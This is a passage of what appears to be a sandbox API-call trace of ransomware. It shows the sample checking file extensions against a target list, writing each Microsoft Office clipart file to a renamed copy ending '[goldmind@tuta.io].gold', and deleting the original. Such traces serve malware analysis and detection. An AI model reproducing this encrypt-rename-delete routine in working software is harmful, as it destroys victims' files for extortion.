lpString2="_.WMF") returned -1 [0096.537] lstrlenW (lpString=".pdf") returned 4 [0096.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.537] lstrlenW (lpString=".xls") returned 4 [0096.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.538] lstrlenW (lpString=".xlsx") returned 5 [0096.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.538] lstrlenW (lpString=".ppt") returned 4 [0096.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".zip") returned 4 [0096.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.538] lstrlenW (lpString=".rar") returned 4 [0096.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString=".bz2") returned 4 [0096.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString=".7z") returned 3 [0096.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".dbf") returned 4 [0096.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".1cd") returned 4 [0096.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".jpg") returned 4 [0096.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".doc") returned 4 [0096.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString=".docx") returned 5 [0096.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.538] lstrlenW (lpString=".pdf") returned 4 [0096.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString=".xls") returned 4 [0096.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.538] lstrlenW (lpString=".xlsx") returned 5 [0096.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.538] lstrlenW (lpString=".ppt") returned 4 [0096.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".zip") returned 4 [0096.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.538] lstrlenW (lpString=".rar") returned 4 [0096.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString=".bz2") returned 4 [0096.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString=".7z") returned 3 [0096.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".dbf") returned 4 [0096.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".1cd") returned 4 [0096.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0096.538] lstrlenW (lpString=".jpg") returned 4 [0096.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.539] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.539] lstrlenW (lpString="FD01659_.WMF") returned 12 [0096.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.578] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=31180) returned 1 [0096.578] CloseHandle (hObject=0x33c) returned 1 [0096.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0096.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.590] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.590] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0096.591] GetLastError () returned 0x0 [0096.591] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x79cc, lpOverlapped=0x0) returned 1 [0096.643] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0096.644] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.645] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.645] SetEndOfFile (hFile=0x3a8) returned 1 [0096.645] CloseHandle (hObject=0x3a8) returned 1 [0096.645] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.645] SetEndOfFile (hFile=0x3c0) returned 1 [0096.647] CloseHandle (hObject=0x3c0) returned 1 [0096.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0096.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.647] lstrlenW (lpString=".doc") returned 4 [0096.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.647] lstrlenW (lpString=".docx") returned 5 [0096.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.648] lstrlenW (lpString=".pdf") returned 4 [0096.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".xls") returned 4 [0096.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.648] lstrlenW (lpString=".xlsx") returned 5 [0096.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.648] lstrlenW (lpString=".ppt") returned 4 [0096.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".zip") returned 4 [0096.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.648] lstrlenW (lpString=".rar") returned 4 [0096.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".bz2") returned 4 [0096.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".7z") returned 3 [0096.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".dbf") returned 4 [0096.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".1cd") returned 4 [0096.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".jpg") returned 4 [0096.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".doc") returned 4 [0096.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".docx") returned 5 [0096.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.648] lstrlenW (lpString=".pdf") returned 4 [0096.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".xls") returned 4 [0096.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.648] lstrlenW (lpString=".xlsx") returned 5 [0096.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.648] lstrlenW (lpString=".ppt") returned 4 [0096.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".zip") returned 4 [0096.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.648] lstrlenW (lpString=".rar") returned 4 [0096.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".bz2") returned 4 [0096.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString=".7z") returned 3 [0096.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.648] lstrlenW (lpString=".dbf") returned 4 [0096.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.649] lstrlenW (lpString=".1cd") returned 4 [0096.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0096.649] lstrlenW (lpString=".jpg") returned 4 [0096.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.649] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.649] lstrlenW (lpString="FD02071_.WMF") returned 12 [0096.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.649] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2188) returned 1 [0096.649] CloseHandle (hObject=0x3c0) returned 1 [0096.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0096.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.650] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.650] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0096.650] GetLastError () returned 0x0 [0096.650] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x88c, lpOverlapped=0x0) returned 1 [0096.654] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x890, lpOverlapped=0x0) returned 1 [0096.655] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.655] WriteFile (in: hFile=0x3a8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.655] SetEndOfFile (hFile=0x3a8) returned 1 [0096.848] CloseHandle (hObject=0x3a8) returned 1 [0096.848] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.848] SetEndOfFile (hFile=0x3c0) returned 1 [0096.850] CloseHandle (hObject=0x3c0) returned 1 [0096.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString=".doc") returned 4 [0096.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString=".docx") returned 5 [0096.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.851] lstrlenW (lpString=".pdf") returned 4 [0096.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString=".xls") returned 4 [0096.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.851] lstrlenW (lpString=".xlsx") returned 5 [0096.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.851] lstrlenW (lpString=".ppt") returned 4 [0096.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString=".zip") returned 4 [0096.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.851] lstrlenW (lpString=".rar") returned 4 [0096.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString=".bz2") returned 4 [0096.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString=".7z") returned 3 [0096.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString=".dbf") returned 4 [0096.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString=".1cd") returned 4 [0096.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString=".jpg") returned 4 [0096.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.851] lstrlenW (lpString=".doc") returned 4 [0096.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString=".docx") returned 5 [0096.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.851] lstrlenW (lpString=".pdf") returned 4 [0096.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString=".xls") returned 4 [0096.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.851] lstrlenW (lpString=".xlsx") returned 5 [0096.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.851] lstrlenW (lpString=".ppt") returned 4 [0096.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.852] lstrlenW (lpString=".zip") returned 4 [0096.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.852] lstrlenW (lpString=".rar") returned 4 [0096.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.852] lstrlenW (lpString=".bz2") returned 4 [0096.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.852] lstrlenW (lpString=".7z") returned 3 [0096.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.852] lstrlenW (lpString=".dbf") returned 4 [0096.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.852] lstrlenW (lpString=".1cd") returned 4 [0096.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0096.852] lstrlenW (lpString=".jpg") returned 4 [0096.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.852] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.852] lstrlenW (lpString="FD02153_.WMF") returned 12 [0096.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.862] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5392) returned 1 [0096.862] CloseHandle (hObject=0x33c) returned 1 [0096.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0096.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.864] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.864] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.864] GetLastError () returned 0x0 [0096.865] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1510, lpOverlapped=0x0) returned 1 [0096.871] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0096.871] ReadFile (in: hFile=0x33c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.871] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.872] SetEndOfFile (hFile=0x3c4) returned 1 [0096.872] CloseHandle (hObject=0x3c4) returned 1 [0096.872] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.872] SetEndOfFile (hFile=0x33c) returned 1 [0096.873] CloseHandle (hObject=0x33c) returned 1 [0096.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString=".doc") returned 4 [0096.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString=".docx") returned 5 [0096.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.876] lstrlenW (lpString=".pdf") returned 4 [0096.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString=".xls") returned 4 [0096.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.876] lstrlenW (lpString=".xlsx") returned 5 [0096.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.876] lstrlenW (lpString=".ppt") returned 4 [0096.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0096.876] lstrlenW (lpString=".zip") returned 4 [0096.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 